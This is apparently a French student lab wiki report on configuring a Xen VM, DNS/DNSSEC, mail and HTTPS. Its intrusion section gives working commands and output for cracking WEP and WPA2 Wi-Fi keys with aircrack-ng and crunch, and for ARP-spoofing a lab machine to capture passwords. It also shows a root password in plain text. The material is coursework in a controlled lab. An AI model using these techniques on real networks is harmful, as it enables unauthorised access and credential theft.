Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de gandi on resoit un codde de confimartion ainsi q'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers gandi a télechargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionn pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54003TP sysres IMA2a5 2020/2021 G52020-11-25T13:19:06Z<p>Aglaine : /* Tableau Récapitulatif */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
